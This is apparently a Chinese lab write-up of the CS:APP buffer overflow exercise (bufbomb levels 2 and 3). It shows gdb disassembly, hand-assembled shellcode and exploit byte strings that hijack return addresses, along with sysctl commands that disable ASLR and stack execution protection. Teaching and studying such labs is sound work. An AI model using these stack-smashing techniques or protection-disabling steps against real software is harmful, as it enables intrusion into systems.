CSAPP缓冲区溢出实验记录（二）

Level 2: firecracker（30分）

bufbomb中存在一个bang函数，

int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
} else
    printf("Misfire: global_value = 0x%x\n", global_value);
  exit(0);
}

与前面两关类似，要求调用getbuf后返回到bang，并设置全局变量global_value为自己的cookie.

从这一关开始，需要在堆栈的buf中布置可执行的shellcode，经过实验，发现自己机器中Ubuntu 12.04.5的堆栈区不可执行（May sombody tell me?），由于没有找到关闭的方法，在虚拟机中安装Fedora 7，按如下方式关闭堆栈不可执行和随机化，继续进行实验。

sysctl –w kernel.randomize_va_space=0

sysctl –w kernel.exec-shield=0

在gdb中反汇编bang，获得存储全局变量global_value的地址为0x804aa60，bang函数的入口地址为0x804898c

[root@localhost buflab]# gdb -q ./bufbomb
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass bang
Dump of assembler code for function bang:
0x0804898c <bang+0>:    mov    0x804aa60,%eax ；将global_value赋给%eax
0x08048991 <bang+5>:    push   %ebp
0x08048992 <bang+6>:    mov    %esp,%ebp
0x08048994 <bang+8>:    sub    $0x8,%esp
0x08048997 <bang+11>:   cmp    0x804aa50,%eax ; 比较cookie与global_value
0x0804899d <bang+17>:   jne    0x80489c0 <bang+52>
0x0804899f <bang+19>:   add    $0xfffffff8,%esp
0x080489a2 <bang+22>:   push   %eax
0x080489a3 <bang+23>:   push   $0x80493e0
0x080489a8 <bang+28>:   call   0x8048748 <printf@plt>
0x080489ad <bang+33>:   add    $0xfffffff4,%esp
0x080489b0 <bang+36>:   push   $0x2
0x080489b2 <bang+38>:   call   0x8048c30 <validate>
0x080489b7 <bang+43>:   add    $0x20,%esp
0x080489ba <bang+46>:   jmp    0x80489d1 <bang+69>
0x080489bc <bang+48>:   lea    0x0(%esi),%esi
0x080489c0 <bang+52>:   add    $0xfffffff8,%esp
0x080489c3 <bang+55>:   push   %eax
0x080489c4 <bang+56>:   push   $0x8049405
0x080489c9 <bang+61>:   call   0x8048748 <printf@plt>
0x080489ce <bang+66>:   add    $0x10,%esp
0x080489d1 <bang+69>:   add    $0xfffffff4,%esp

接下来，需要在buf中布置设置全局变量和跳转到bang中的shellcode，并将ret设置成buf

在调试中获得buf

(gdb) disass getbuf
Dump of assembler code for function getbuf:
0x08048a44 <getbuf+0>:  push   %ebp
0x08048a45 <getbuf+1>:  mov    %esp,%ebp
0x08048a47 <getbuf+3>:  sub    $0x18,%esp
0x08048a4a <getbuf+6>:  add    $0xfffffff4,%esp
0x08048a4d <getbuf+9>:  lea    0xfffffff4(%ebp),%eax ；buf=%ebp-12
0x08048a50 <getbuf+12>: push   %eax
0x08048a51 <getbuf+13>: call   0x8048b50 <Gets>
0x08048a56 <getbuf+18>: mov    $0x1,%eax
0x08048a5b <getbuf+23>: mov    %ebp,%esp
0x08048a5d <getbuf+25>: pop    %ebp
0x08048a5e <getbuf+26>: ret    
End of assembler dump.

在地址0x08048a50处设置断点并运行，得知buf为0xbfffb0bc

(gdb) b *0x8048a50
Breakpoint 1 at 0x8048a50
(gdb) run -t heen
Starting program: /root/Desktop/buflab/bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
(gdb) p $ebp+0xfffffff4
$2 = (void *) 0xbfffb0bc

接下来编写shellcode，

[root@localhost buflab]# cat exploit3_shellcode.s
pushl $0x804898c ;bang入口地址
movl $0x5573b7cf, %eax 
movl %eax, 0x804aa60 ；设置cookie
ret

[root@localhost buflab]# gcc -c exploit3_shellcode.s
[root@localhost buflab]# objdump -d exploit3_shellcode.o
exploit3_shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 8c 89 04 08          push   $0x804898c
   5:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax
   a:   a3 60 aa 04 08          mov    %eax,0x804aa60
   f:   c3                      ret

最终获得shellcode的16进制机器码，为16字节，刚好够用。于是exploit string为shellcode加上buf

[root@localhost buflab]# cat exploit3.txt
68 8c 89 04 08 b8 cf b7 73 55 a3 60 aa 04 08 c3 bc b0 ff bf
[root@localhost buflab]# cat exploit3.txt|./sendstring|./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Bang!: You set global_value to 0x5573b7cf
NICE JOB!

Level 3: Dynamite (40分)

这一关要求getbuf返回到test当中，但是不能破坏为test函数维护的堆栈状态（test函数加了堆栈状态检测），同时加test函数中的调用getbuf后的返回值为自己的cookie。test函数如下，

void test()
{
    int val;
    volatile int local = 0xdeadbeef;
    val = getbuf();
    /* Check for corrupted stack */
    if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%x\n", val);
        validate(3);
    }
    else {
        printf("Dud: getbuf returned 0x%x\n", val);
    }
}

这要求我们的shellcode不能破坏getbuf调用函数test的堆栈状态，既需要返回到test中，也需要恢复SFP即test的栈基址EBP，而恢复栈基址有两种方法：一是在shellcode中设置，二是在exploit string中的合适位置填入SFP，这里我们选择了第二种方法。

反汇编test函数，获得getbuf调用的正常返回地址。

(gdb) disass test
Dump of assembler code for function test:
0x080489dc <test+0>:    push   %ebp
0x080489dd <test+1>:    mov    %esp,%ebp
0x080489df <test+3>:    sub    $0x18,%esp
0x080489e2 <test+6>:    movl   $0xdeadbeef,0xfffffffc(%ebp)
0x080489e9 <test+13>:   call   0x8048a44 <getbuf>
0x080489ee <test+18>:   mov    %eax,%edx ；0x080489ee为getbuf返回地址
0x080489f0 <test+20>:   mov    0xfffffffc(%ebp),%eax
0x080489f3 <test+23>:   cmp    $0xdeadbeef,%eax
0x080489f8 <test+28>:   je     0x8048a10 <test+52>
0x080489fa <test+30>:   add    $0xfffffff4,%esp
0x080489fd <test+33>:   push   $0x8049440
0x08048a02 <test+38>:   call   0x8048748 <printf@plt>
0x08048a07 <test+43>:   jmp    0x8048a40 <test+100>
0x08048a09 <test+45>:   lea    0x0(%esi),%esi
0x08048a10 <test+52>:   cmp    0x804aa50,%edx
0x08048a16 <test+58>:   jne    0x8048a32 <test+86>
0x08048a18 <test+60>:   add    $0xfffffff8,%esp
0x08048a1b <test+63>:   push   %edx
0x08048a1c <test+64>:   push   $0x804946a
0x08048a21 <test+69>:   call   0x8048748 <printf@plt>
0x08048a26 <test+74>:   add    $0xfffffff4,%esp
0x08048a29 <test+77>:   push   $0x3
---Type <return> to continue, or q <return> to quit---

在0x80489df中下断点，获得其栈基址的值为0xbfffb0e8

(gdb) b *0x80489df
Breakpoint 2 at 0x80489df
(gdb) run -t heen
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/buflab/bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Breakpoint 2, 0x080489df in test ()
(gdb) p $ebp
$3 = (void *) 0xbfffb0e8

编写shellcode，获得其16进制的机器码

[root@localhost buflab]# cat exploit4_shellcode.s
movl $0x5573b7cf, %eax
push $0x80489ee
ret
[root@localhost buflab]# gcc -c exploit4_shellcode.s
[root@localhost buflab]# objdump -d exploit4_shellcode.o
exploit4_shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax ；设置getbuf返回值为cookie
   5:   68 ee 89 04 08          push   $0x80489ee ;将getbuf返回地址压栈
   a:   c3                      ret

综合前面的信息，得到exploit string, 其中字节ff可为任意字节（除了回车符0a和空字符00)

[root@localhost buflab]# cat exploit4.txt 
b8 cf b7 73 55 68 ee 89 04 08 c3 ff e8 b0 ff bf bc b0 ff bf

[root@localhost buflab]# cat exploit4.txt|./sendstring|./bufbomb -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:Boom!: getbuf returned 0x5573b7cf
NICE JOB!